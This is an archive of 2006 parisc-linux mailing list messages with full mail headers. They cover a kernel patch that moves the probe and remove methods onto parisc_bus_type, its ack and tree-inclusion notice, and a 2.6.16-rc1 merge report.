	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 07:34:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04550-05 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jan 2006 07:34:54 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 9AC257D779
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 07:34:54 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 4896C49410C; Thu,  5 Jan 2006 07:34:55 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from caramon.arm.linux.org.uk (caramon.arm.linux.org.uk
	[212.18.232.186]) by palinux.hppa (Postfix) with ESMTP id EBAD24940E3
	for <parisc-linux@parisc-linux.org>;
	Thu,  5 Jan 2006 07:34:54 -0700 (MST)
Original-Received: from flint.arm.linux.org.uk ([2002:d412:e8ba:1:201:2ff:fe14:8fad])
	by caramon.arm.linux.org.uk with esmtpsa (TLSv1:DES-CBC3-SHA:168)
	(Exim 4.52) id 1EuWCR-0008QR-8u; Thu, 05 Jan 2006 14:34:44 +0000
Original-Received: from rmk by flint.arm.linux.org.uk with local (Exim 4.52)
	id 1EuWCN-0003gv-8x; Thu, 05 Jan 2006 14:34:39 +0000
In-reply-to: <20060105142951.13.01@flint.arm.linux.org.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zkvPY71HeSEkab6WZHQhaXN1IGRvb4Cf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25251

Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>

---
 arch/parisc/kernel/drivers.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff -up -x BitKeeper -x ChangeSet -x SCCS -x _xlk -x *.orig -x *.rej -x .git linus/arch/parisc/kernel/drivers.c linux/arch/parisc/kernel/drivers.c
--- linus/arch/parisc/kernel/drivers.c	Sun Nov  6 22:14:46 2005
+++ linux/arch/parisc/kernel/drivers.c	Sun Nov 13 16:08:49 2005
@@ -173,8 +173,6 @@ int register_parisc_driver(struct parisc
 	WARN_ON(driver->drv.probe != NULL);
 	WARN_ON(driver->drv.remove != NULL);
 
-	driver->drv.probe = parisc_driver_probe;
-	driver->drv.remove = parisc_driver_remove;
 	driver->drv.name = driver->name;
 
 	return driver_register(&driver->drv);
@@ -570,6 +568,8 @@ struct bus_type parisc_bus_type = {
 	.name = "parisc",
 	.match = parisc_generic_match,
 	.dev_attrs = parisc_device_attrs,
+	.probe = parisc_driver_probe,
+	.remove = parisc_driver_remove,
 };
 
 /**
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [CFT 10/29] Add parisc_bus_type probe and remove
	methods
Date: Thu, 5 Jan 2006 11:46:45 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20060105184645.GX19769__18131.2187029564$1416624581$gmane$org@parisc-linux.org>
References: <20060105142951.13.01@flint.arm.linux.org.uk>
	<20060105142951.13.10@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624581 27498 80.91.229.3 (22 Nov 2014 02:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:41 +0000 (UTC)
Cc: Greg K-H <greg@kroah.com>,
 LKML <linux-kernel@vger.kernel.org>,
 parisc <parisc-linux@parisc-linux.org>
To: Russell King <rmk@arm.linux.org.uk>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 05 Jan 2006 18:46:58 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 05 Jan 2006 19:46:58 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A46177D630;
	Thu,  5 Jan 2006 11:46:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07772-05; Thu, 5 Jan 2006 11:46:49 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0932D7D63E;
	Thu,  5 Jan 2006 11:46:49 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 86A177D62A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 11:46:45 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07496-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 5 Jan 2006 11:46:45 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 037F47D415
	for <parisc-linux@lists.parisc-linux.org>;
	Thu,  5 Jan 2006 11:46:45 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id CF6564940E3; Thu,  5 Jan 2006 11:46:45 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id B3CF0494005; Thu,  5 Jan 2006 11:46:45 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20060105142951.13.10@flint.arm.linux.org.uk>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9AzPY1toeSEkIr6WZHQhaXN1IGRvb4DF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25252

On Thu, Jan 05, 2006 at 02:34:38PM +0000, Russell King wrote:
> Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>

Works fine, Acked-by: Matthew Wilcox <matthew@wil.cx>

> diff -up -x BitKeeper -x ChangeSet -x SCCS -x _xlk -x *.orig -x *.rej -x .git linus/arch/parisc/kernel/drivers.c linux/arch/parisc/kernel/drivers.c
> --- linus/arch/parisc/kernel/drivers.c	Sun Nov  6 22:14:46 2005
> +++ linux/arch/parisc/kernel/drivers.c	Sun Nov 13 16:08:49 2005
> @@ -173,8 +173,6 @@ int register_parisc_driver(struct parisc
>  	WARN_ON(driver->drv.probe != NULL);
>  	WARN_ON(driver->drv.remove != NULL);

I wonder if you want to delete the two WARN_ONs here too.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <gregkh@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] patch
	add-parisc_bus_type-probe-and-remove-methods.patch added to
	gregkh-2.6 tree
Date: Mon, 09 Jan 2006 22:00:06 -0800
Lines: 88
Approved: news@gmane.org
Message-ID: <1EwCYA-2IA-00@press.kroah.org>
References: <20060105142951.13.10@flint.arm.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416624581 27502 80.91.229.3 (22 Nov 2014 02:49:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:41 +0000 (UTC)
To: rmk@arm.linux.org.uk,
 greg@kroah.com,
 gregkh@suse.de,
 matthew@wil.cx,
 parisc-linux@parisc-linux.org,
 rmk+kernel@arm.linux.org.uk
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Jan 2006 06:02:07 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx039) with SMTP; 10 Jan 2006 07:02:07 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8C967D70E;
	Mon,  9 Jan 2006 23:01:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06304-03; Mon, 9 Jan 2006 23:01:57 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 81AC07D707;
	Mon,  9 Jan 2006 23:01:56 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A96357D705
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Jan 2006 23:01:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29372-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 9 Jan 2006 23:01:52 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1C6167D704
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  9 Jan 2006 23:01:52 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id E4A3D494006; Mon,  9 Jan 2006 23:01:52 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from perch.kroah.org (mail.kroah.org [69.55.234.183])
	by palinux.hppa (Postfix) with ESMTP id 89D24494194
	for <parisc-linux@parisc-linux.org>;
	Mon,  9 Jan 2006 23:01:52 -0700 (MST)
Original-Received: from [192.168.0.25] (c-24-22-115-24.hsd1.or.comcast.net
	[24.22.115.24]) (authenticated)
	by perch.kroah.org (8.11.6/8.11.6) with ESMTP id k0A60pL02330;
	Mon, 9 Jan 2006 22:00:51 -0800
Original-Received: from 127.0.0.1 by press.kroah.org with esmtp (masqmail
	0.2.20) id 1EwCYA-2IA-00; Mon, 09 Jan 2006 22:00:06 -0800
In-Reply-To: <20060105142951.13.10@flint.arm.linux.org.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: iCixY+J7eSEkVb6WZHQhaXN1IGRvb4A8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25253


This is a note to let you know that I've just added the patch titled

     Subject: [CFT 10/29] Add parisc_bus_type probe and remove methods

to my gregkh-2.6 tree.  Its filename is

     add-parisc_bus_type-probe-and-remove-methods.patch

This tree can be found at 
    http://www.kernel.org/pub/linux/kernel/people/gregkh/gregkh-2.6/patches/


>>From rmk+greg=kroah.com@arm.linux.org.uk Thu Jan  5 06:37:17 2006
From: Russell King <rmk@arm.linux.org.uk>
CC: Greg K-H <greg@kroah.com>, parisc <parisc-linux@parisc-linux.org>
Subject: [CFT 10/29] Add parisc_bus_type probe and remove methods
Date: Thu, 05 Jan 2006 14:34:38 +0000
Message-ID: <20060105142951.13.10@flint.arm.linux.org.uk>

Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
Acked-by: Matthew Wilcox <matthew@wil.cx>
Signed-off-by: Greg Kroah-Hartman <gregkh@suse.de>

---
 arch/parisc/kernel/drivers.c |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- gregkh-2.6.orig/arch/parisc/kernel/drivers.c
+++ gregkh-2.6/arch/parisc/kernel/drivers.c
@@ -173,8 +173,6 @@ int register_parisc_driver(struct parisc
 	WARN_ON(driver->drv.probe != NULL);
 	WARN_ON(driver->drv.remove != NULL);
 
-	driver->drv.probe = parisc_driver_probe;
-	driver->drv.remove = parisc_driver_remove;
 	driver->drv.name = driver->name;
 
 	return driver_register(&driver->drv);
@@ -570,6 +568,8 @@ struct bus_type parisc_bus_type = {
 	.name = "parisc",
 	.match = parisc_generic_match,
 	.dev_attrs = parisc_device_attrs,
+	.probe = parisc_driver_probe,
+	.remove = parisc_driver_remove,
 };
 
 /**


Patches currently in gregkh-2.6 which might be from rmk@arm.linux.org.uk are

driver/add-bttv-sub-bus_type-probe-and-remove-methods.patch
driver/add-bus_type-probe-remove-shutdown-methods..patch
driver/add-ccwgroup_bus_type-probe-and-remove-methods.patch
driver/add-dio_bus_type-probe-and-remove-methods.patch
driver/add-ecard_bus_type-probe-remove-shutdown-methods.patch
driver/add-gameport-bus_type-probe-and-remove-methods.patch
driver/add-i2c_bus_type-probe-and-remove-methods.patch
driver/add-ide_bus_type-probe-and-remove-methods.patch
driver/add-locomo-bus_type-probe-remove-methods.patch
driver/add-logic-module-bus_type-probe-remove-methods.patch
driver/add-macio_bus_type-probe-and-remove-methods.patch
driver/add-mcp-bus_type-probe-and-remove-methods.patch
driver/add-mmc_bus_type-probe-and-remove-methods.patch
driver/add-ocp_bus_type-probe-and-remove-methods.patch
driver/add-of_platform_bus_type-probe-and-remove-methods.patch
driver/add-parisc_bus_type-probe-and-remove-methods.patch
driver/add-pci_bus_type-probe-and-remove-methods.patch
driver/add-pcmcia_bus_type-probe-and-remove-methods.patch
driver/add-pnp_bus_type-probe-and-remove-methods.patch
driver/add-pseudo-lld-bus_type-probe-and-remove-methods.patch
driver/add-rio_bus_type-probe-and-remove-methods.patch
driver/add-sa1111-bus_type-probe-remove-methods.patch
driver/add-serio-bus_type-probe-and-remove-methods.patch
driver/add-sh_bus_type-probe-and-remove-methods.patch
driver/add-superhyway_bus_type-probe-and-remove-methods.patch
driver/add-tiocx-bus_type-probe-remove-methods.patch
driver/add-usb_serial_bus_type-probe-and-remove-methods.patch
driver/add-vio_bus_type-probe-and-remove-methods.patch
driver/add-zorro_bus_type-probe-and-remove-methods.patch
driver/remove-usb-gadget-generic-driver-methods.patch
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.6.16-rc1 merge
Date: Tue, 17 Jan 2006 08:06:25 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <20060117150625.GG19769@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624582 27505 80.91.229.3 (22 Nov 2014 02:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:42 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 15:06:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx029) with SMTP; 17 Jan 2006 16:06:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 981717D666;
	Tue, 17 Jan 2006 08:06:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08709-04; Tue, 17 Jan 2006 08:06:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE8697D640;
	Tue, 17 Jan 2006 08:06:27 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3ADA67D63C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 08:06:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08684-03 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 08:06:24 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id A99047D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 08:06:24 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 82DEE495575; Tue, 17 Jan 2006 08:06:25 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by palinux.hppa (Postfix, from userid 26919)
	id 55B49494006; Tue, 17 Jan 2006 08:06:25 -0700 (MST)
Content-Disposition: inline
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rGK/Y5oveSEkb76WZHQhaXN1IGRvb8DT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25254


The 2.6.16-rc1 merge was a bit complex, so please check any areas you
feel responsible for to make sure I didn't mess you up.

arch/parisc/kernel/process.c

The merge seems to have undone some of viro's task_stack_page stuff.
I don't think this was deliberate, needs checking.

drivers/parisc/pdc_stable.c

I think I just took Thibaut's newest version for everything here.

drivers/scsi/constants.c
drivers/scsi/ncr53c8xx.c
drivers/scsi/ncr53c8xx.h
drivers/scsi/sym53c8xx_2/sym_glue.c
drivers/scsi/sym53c8xx_2/sym_glue.h
drivers/scsi/sym53c8xx_2/sym_hipd.c

I'll take care of these; they're all my fault.

include/sound/opl3.h
sound/drivers/opl3/opl3_lib.c
sound/pci/Kconfig
sound/pci/ad1889.c

Stuart, please look.  It was all very complicated, and I'm not convinced
I haven't missed some cleanups necessary on error paths.

kernel/compat.c

I kept our version of compat_sys_timer_create.  Someone please test the
upstream version works.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.16-rc1 merge
Date: Tue, 17 Jan 2006 10:18:48 -0500
Lines: 65
Approved: news@gmane.org
Message-ID: <20060117151848.GF4049@quicksilver.road.mcmartin.ca>
References: <20060117150625.GG19769@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624582 27507 80.91.229.3 (22 Nov 2014 02:49:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:42 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 15:20:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx037) with SMTP; 17 Jan 2006 16:20:15 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 684AB7D673;
	Tue, 17 Jan 2006 08:20:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08958-06; Tue, 17 Jan 2006 08:20:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1ADAC7D679;
	Tue, 17 Jan 2006 08:20:11 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5B2E67D672
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 08:20:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08958-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 08:20:07 -0700 (MST)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C9F907D66D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 08:20:07 -0700 (MST)
Original-Received: by palinux.hppa (Postfix)
	id 7E5F64955EF; Tue, 17 Jan 2006 08:20:08 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by palinux.hppa (Postfix) with ESMTP id 1CF654955EE
	for <parisc-linux@parisc-linux.org>;
	Tue, 17 Jan 2006 08:20:08 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3D36223E84;
	Tue, 17 Jan 2006 10:20:04 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32417-09; Tue, 17 Jan 2006 10:20:04 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca (quicksilver.road.mcmartin.ca
	[134.117.69.56])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 026E123E82;
	Tue, 17 Jan 2006 10:20:04 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id E5EA93B05E; Tue, 17 Jan 2006 10:18:48 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060117150625.GG19769@parisc-linux.org>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z26/Y3FeeSEkV76WZHQhaXN1IGRvb8Dr
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25255

